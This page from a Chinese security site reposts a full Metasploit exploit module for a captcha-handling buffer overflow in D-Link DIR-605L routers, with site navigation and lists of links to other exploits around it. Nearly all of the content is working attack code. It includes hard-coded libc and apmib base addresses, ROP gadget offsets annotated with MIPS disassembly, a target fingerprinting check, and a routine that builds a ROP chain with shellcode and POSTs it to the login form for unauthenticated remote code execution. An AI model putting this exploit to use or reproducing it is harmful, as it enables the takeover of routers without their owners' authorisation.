首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
D-Link DIR-605L Captcha Handling Buffer Overflow
来源:metasploit.com 作者:vazquez 发布时间:2013-10-22  
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ManualRanking # Because only has been tested on a QEMU emulated environment

  HttpFingerprint = { :pattern => [ /Boa/ ] }

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'D-Link DIR-605L Captcha Handling Buffer Overflow',
      'Description'    => %q{
          This module exploits an anonymous remote code execution on D-Link DIR-605L routers. The
        vulnerability exists while handling user supplied captcha information, and is due to the
        insecure usage of sprintf on the getAuthCode() function. This module has been tested
        successfully on DLink DIR-605L Firmware 1.13 under a QEMU environment.
      },
      'Author'         =>
        [
          'Craig Heffner', # Vulnerability discovery, original exploit
          'juan vazquez' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 3000,
          'BadChars'    => "\x00\x67\x26\x2b"
        },
      'Platform'       => ['linux'],
      'Arch'           => ARCH_MIPSBE,
      'References'     =>
        [
          [ 'OSVDB', '86824' ],
          [ 'URL', 'http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/' ]
        ],
      'Targets'        =>
        [
          [ 'DLink DIR-605L 1.13',
            {
              'Offset'      => 94,
              'LibcBase'    => 0x2ab86000, # According to Original Exploit by Craig Heffner
              'ApmibBase'   => 0x2aaef000, # According to Original Exploit by Craig Heffner
              #'LibcBase'    => 0x4212e000, # QEMU environment
              #'ApmibBase'   => 0x42095000, # QEMU environment
              #LOAD:000248D4  li      $a0, 1   ; set $a0 for the sleep() call
              #LOAD:000248D8  move    $t9, $s1 ; $s1 is controlled after the overflow
              #LOAD:000248DC  jalr    $t9
              'Ret'         => 0x248D4, # from libc
              #LOAD:0002B954  move    $t9, $s2 # Controlled
              #LOAD:0002B958  lw      $ra, 0x30+var_4($sp)  # allows to get controlled $ra from the stack
              #LOAD:0002B95C  lw      $s4, 0x30+var_8($sp)
              #LOAD:0002B960  lw      $s3, 0x30+var_C($sp)
              #LOAD:0002B964  lw      $s2, 0x30+var_10($sp)
              #LOAD:0002B968  lw      $s1, 0x30+var_14($sp) # allows to get controlled $s1 from the stack
              #LOAD:0002B96C  lw      $s0, 0x30+var_18($sp)
              #LOAD:0002B970  jr      $t9
              'RopJmpSleep' => 0x2B954, # from libc
              'RopSleep'    => 0x23D30, # from libc # Sleep Function Address # sleep() to flush the data cache
              #LOAD:000027E8  move    $t9, $s1 # Controlled
              #LOAD:000027EC  jalr    $t9 ; sub_22D0
              #LOAD:000027F0  addiu   $a2, $sp, 0x40+var_24 ; put pointer to the stack on $a2 # executed because of pipelining
              'RopPtrStack' => 0x027E8, # from apmi
              #LOAD:00001D78  move    $t9, $a2 ; $a2 contains a poiner to the stack
              #LOAD:00001D7C  jalr    $t9
              'RopJmpStack' => 0x01D78 # from apmi
            }
          ]
        ],
      'DisclosureDate' => 'Oct 08 2012',
      'DefaultTarget' => 0))

  end

  def check
    res = send_request_cgi({ 'uri' => '/comm.asp' })
    if res and res.code == 200 and res.body =~ /var modelname="DIR-605L"/ and res.headers["Server"] and res.headers["Server"] =~ /Boa\/0\.94\.14rc21/
      return Exploit::CheckCode::Detected
    end
    return Exploit::CheckCode::Safe
  end

  def exploit

    shellcode = ""
    shellcode << rand_text(target['Offset'])                             # Padding
    shellcode << rand_text(4)                                            # $s0
    shellcode << [target['LibcBase'] + target['RopJmpSleep']].pack("N")  # $s1
    shellcode << [target['LibcBase'] + target['RopSleep']].pack("N")     # $s2
    shellcode << rand_text(4)                                            # $s3
    shellcode << [target['LibcBase'] + target.ret].pack("N")             # $ra
    shellcode << rand_text(0x1c)                                         # filler
    shellcode << rand_text(4)                                            # $s0
    shellcode << [target['ApmibBase'] + target['RopJmpStack']].pack("N") # $s1
    shellcode << rand_text(4)                                            # $s2
    shellcode << rand_text(4)                                            # $s3
    shellcode << rand_text(4)                                            # $s4
    shellcode << [target['ApmibBase'] + target['RopPtrStack']].pack("N") # $ra
    shellcode << rand_text(0x1c)                                         # filler
    shellcode << payload.encoded                                         # shellcode

    print_status("#{peer} - Sending exploit...")

    send_request_cgi({
      'method' => 'POST',
      'uri' => "/goform/formLogin",
      'encode_params' => false,
      'vars_post' => {
        'VERIFICATION_CODE' => 'myvoiceismypassportverifyme',
        'VER_CODE'          => '1234',
        'login_n'           => 'admin',
        'FILECODE'          =>  shellcode,
        'curTime'           => '1348588030496',
        'login_pass'        => 'Zm9vb255b3UA',
        'login_name'        => 'admin'
      }
    })

  end

end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Interactive Graphical SCADA Sy
·Windows Management Instrumenta
·HP Intelligent Management Cent
·EMC Replication Manager Comman
·FiberHome Modem Router HG-110
·Joomla Component com_maianmedi
·WebTester 5.x Command Executio
·Symantec Workspace Streaming 7
·PHP Point Of Sale 10.x / 11.x
·Photodex ProShow Producer 5.0.
·ARRIS DG860A NVRAM Backup Comp
·FortKnox Personal Firewall 9.0
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved